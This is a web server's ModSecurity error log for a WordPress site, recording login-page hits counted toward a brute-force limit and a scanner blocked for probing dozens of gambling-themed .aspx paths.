[Thu May 14 12:40:19.636450 2026] [:error] [pid 47673:tid 47689] [client 190.92.174.31:40074] [client 190.92.174.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVSM_CGe4cIn3sh5k3uhQAAAU4"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 13:24:36.784747 2026] [:error] [pid 11588:tid 11652] [client 159.65.130.147:52982] [client 159.65.130.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.130.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVclNUr21rOixkeGKZONQAAAIA"]
[Thu May 14 13:24:38.497318 2026] [:error] [pid 11588:tid 11655] [client 159.65.130.147:52982] [client 159.65.130.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.130.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVcltUr21rOixkeGKZONwAAAIM"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 13:41:37.571134 2026] [:error] [pid 11582:tid 11637] [client 103.187.94.33:53235] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVgkfuw2cmFDpGcKhAKmgAAAEw"]
[Thu May 14 13:42:35.914349 2026] [:error] [pid 11582:tid 11629] [client 103.187.94.33:57497] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVgy_uw2cmFDpGcKhAKxQAAAEQ"]
[Thu May 14 13:43:35.714108 2026] [:error] [pid 11582:tid 11647] [client 103.187.94.33:61242] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVhB_uw2cmFDpGcKhAK1wAAAFY"]
[Thu May 14 13:44:40.584132 2026] [:error] [pid 11588:tid 11675] [client 103.187.94.33:65423] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVhSNUr21rOixkeGKZSdQAAAJc"]
[Thu May 14 13:45:53.186820 2026] [:error] [pid 11690:tid 11712] [client 103.187.94.33:54647] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVhkSnxWuLN8Hptw8nrvAAAAM0"]
[Thu May 14 13:59:13.507281 2026] [:error] [pid 11588:tid 11670] [client 209.133.204.250:45512] [client 209.133.204.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.204.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVksdUr21rOixkeGKZWlAAAAJI"]
[Thu May 14 13:59:15.462515 2026] [:error] [pid 11588:tid 11666] [client 209.133.204.250:45512] [client 209.133.204.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.204.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVks9Ur21rOixkeGKZWlgAAAI4"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 15:15:09.725419 2026] [:error] [pid 11588:tid 11666] [client 43.128.156.124:49296] [client 43.128.156.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agV2fdUr21rOixkeGKZ8awAAAI4"]
[Thu May 14 15:26:14.274023 2026] [:error] [pid 11588:tid 11656] [client 79.137.67.84:33592] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agV5FtUr21rOixkeGKZ_cQAAAIQ"]
[Thu May 14 15:26:16.309598 2026] [:error] [pid 11588:tid 11670] [client 79.137.67.84:36360] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agV5GNUr21rOixkeGKZ_cgAAAJI"]
[Thu May 14 15:26:18.214863 2026] [:error] [pid 47721:tid 47725] [client 79.137.67.84:36362] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agV5GnEmh7_G0hfOa6vaVAAAAYI"]
[Thu May 14 15:26:20.116940 2026] [:error] [pid 63033:tid 63047] [client 79.137.67.84:48464] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agV5HFMY49UWn5BpqVbehQAAAQw"]
[Thu May 14 15:26:22.145543 2026] [:error] [pid 63033:tid 63059] [client 79.137.67.84:48474] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agV5HlMY49UWn5BpqVbeiAAAARg"]
[Thu May 14 15:26:24.067666 2026] [:error] [pid 11581:tid 11617] [client 79.137.67.84:48484] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agV5IP0vF48FbzpvQMXGdQAAABQ"]
[Thu May 14 15:26:26.132893 2026] [:error] [pid 11690:tid 11704] [client 79.137.67.84:48494] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agV5IinxWuLN8Hptw8kMiAAAAMU"]
[Thu May 14 15:26:28.150714 2026] [:error] [pid 63033:tid 63054] [client 79.137.67.84:48510] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agV5JFMY49UWn5BpqVbeiwAAARM"]
[Thu May 14 15:26:30.169773 2026] [:error] [pid 47721:tid 47740] [client 79.137.67.84:52838] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agV5JnEmh7_G0hfOa6vaYwAAAZE"]
[Thu May 14 15:26:32.192868 2026] [:error] [pid 47721:tid 47730] [client 79.137.67.84:52842] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agV5KHEmh7_G0hfOa6vabgAAAYc"]
[Thu May 14 15:26:34.204053 2026] [:error] [pid 63033:tid 63041] [client 79.137.67.84:52852] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agV5KlMY49UWn5BpqVbejgAAAQY"]
[Thu May 14 15:26:36.074564 2026] [:error] [pid 11690:tid 11707] [client 79.137.67.84:52858] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agV5LCnxWuLN8Hptw8kMmgAAAMg"]
[Thu May 14 15:26:38.083367 2026] [:error] [pid 63033:tid 63035] [client 79.137.67.84:52872] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agV5LlMY49UWn5BpqVbekgAAAQA"]
[Thu May 14 15:26:40.106688 2026] [:error] [pid 11588:tid 11666] [client 79.137.67.84:43218] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agV5MNUr21rOixkeGKZ_iwAAAI4"]
[Thu May 14 15:26:41.969013 2026] [:error] [pid 11581:tid 11608] [client 79.137.67.84:43230] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agV5Mf0vF48FbzpvQMXGgQAAAAs"]
[Thu May 14 15:26:43.855987 2026] [:error] [pid 11690:tid 11723] [client 79.137.67.84:43232] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agV5MynxWuLN8Hptw8kMrgAAANg"]
[Thu May 14 15:26:45.719399 2026] [:error] [pid 11581:tid 11617] [client 79.137.67.84:43248] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agV5Nf0vF48FbzpvQMXGhQAAABQ"]
[Thu May 14 15:26:47.764272 2026] [:error] [pid 47673:tid 47688] [client 79.137.67.84:43264] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agV5N_CGe4cIn3sh5k0OkQAAAU0"]
[Thu May 14 15:26:49.828179 2026] [:error] [pid 63033:tid 63043] [client 79.137.67.84:40774] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agV5OVMY49UWn5BpqVbepQAAAQg"]
[Thu May 14 15:26:51.871653 2026] [:error] [pid 11588:tid 11653] [client 79.137.67.84:40788] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agV5O9Ur21rOixkeGKZ_kAAAAIE"]
[Thu May 14 15:26:53.884918 2026] [:error] [pid 11588:tid 11675] [client 79.137.67.84:40800] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agV5PdUr21rOixkeGKZ_lAAAAJc"]
[Thu May 14 15:26:55.787865 2026] [:error] [pid 11582:tid 11640] [client 79.137.67.84:40806] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agV5P_uw2cmFDpGcKhAgTwAAAE8"]
[Thu May 14 15:26:57.818682 2026] [:error] [pid 11582:tid 11634] [client 79.137.67.84:40822] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agV5Qfuw2cmFDpGcKhAgUgAAAEk"]
[Thu May 14 15:26:59.708710 2026] [:error] [pid 63033:tid 63055] [client 79.137.67.84:45280] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agV5Q1MY49UWn5BpqVbetAAAARQ"]
[Thu May 14 15:27:01.731601 2026] [:error] [pid 63033:tid 63042] [client 79.137.67.84:45284] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agV5RVMY49UWn5BpqVbetwAAAQc"]
[Thu May 14 15:27:03.746759 2026] [:error] [pid 47721:tid 47737] [client 79.137.67.84:45290] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agV5R3Emh7_G0hfOa6vagAAAAY4"]
[Thu May 14 15:27:05.793011 2026] [:error] [pid 11581:tid 11621] [client 79.137.67.84:45300] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agV5Sf0vF48FbzpvQMXGigAAABg"]
[Thu May 14 15:27:07.830480 2026] [:error] [pid 11690:tid 11713] [client 79.137.67.84:45306] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "agV5SynxWuLN8Hptw8kM1AAAAM4"]
[Thu May 14 15:27:09.839634 2026] [:error] [pid 47721:tid 47746] [client 79.137.67.84:59174] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "agV5TXEmh7_G0hfOa6vakQAAAZc"]
[Thu May 14 15:27:43.653300 2026] [:error] [pid 47721:tid 47730] [client 79.137.67.84:59180] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agV5b3Emh7_G0hfOa6vauQAAAYc"]
[Thu May 14 15:27:45.627471 2026] [:error] [pid 47721:tid 47728] [client 79.137.67.84:43052] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agV5cXEmh7_G0hfOa6vavwAAAYU"]
[Thu May 14 15:27:47.513587 2026] [:error] [pid 11588:tid 11652] [client 79.137.67.84:43056] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agV5c9Ur21rOixkeGKZ_vAAAAIA"]
[Thu May 14 15:27:49.419072 2026] [:error] [pid 11588:tid 11656] [client 79.137.67.84:54948] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agV5ddUr21rOixkeGKZ_vgAAAIQ"]
[Thu May 14 15:27:51.408666 2026] [:error] [pid 63033:tid 63050] [client 79.137.67.84:54952] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agV5d1MY49UWn5BpqVbe7AAAAQ8"]
[Thu May 14 15:27:53.433382 2026] [:error] [pid 47721:tid 47724] [client 79.137.67.84:54960] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agV5eXEmh7_G0hfOa6vaygAAAYE"]
[Thu May 14 15:27:55.460579 2026] [:error] [pid 11581:tid 11614] [client 79.137.67.84:54966] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agV5e_0vF48FbzpvQMXGnAAAABE"]
[Thu May 14 15:27:57.469950 2026] [:error] [pid 11690:tid 11723] [client 79.137.67.84:54974] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agV5fSnxWuLN8Hptw8kNEAAAANg"]
[Thu May 14 15:27:59.479045 2026] [:error] [pid 11690:tid 11709] [client 79.137.67.84:52650] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agV5fynxWuLN8Hptw8kNEwAAAMo"]
[Thu May 14 15:28:01.372111 2026] [:error] [pid 47721:tid 47735] [client 79.137.67.84:52660] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agV5gXEmh7_G0hfOa6vazQAAAYw"]
[Thu May 14 15:28:03.372165 2026] [:error] [pid 47673:tid 47689] [client 79.137.67.84:52676] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agV5g_CGe4cIn3sh5k0OuAAAAU4"]
[Thu May 14 15:28:05.381966 2026] [:error] [pid 47721:tid 47732] [client 79.137.67.84:52684] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agV5hXEmh7_G0hfOa6va0AAAAYk"]
[Thu May 14 15:28:07.386543 2026] [:error] [pid 11690:tid 11718] [client 79.137.67.84:52700] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agV5hynxWuLN8Hptw8kNIgAAANM"]
[Thu May 14 15:28:09.395661 2026] [:error] [pid 63033:tid 63058] [client 79.137.67.84:50842] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agV5iVMY49UWn5BpqVbe_AAAARc"]
[Thu May 14 15:28:11.400601 2026] [:error] [pid 47721:tid 47730] [client 79.137.67.84:50846] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agV5i3Emh7_G0hfOa6va1QAAAYc"]
[Thu May 14 15:28:13.409305 2026] [:error] [pid 11588:tid 11668] [client 79.137.67.84:50854] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agV5jdUr21rOixkeGKZ_wwAAAJA"]
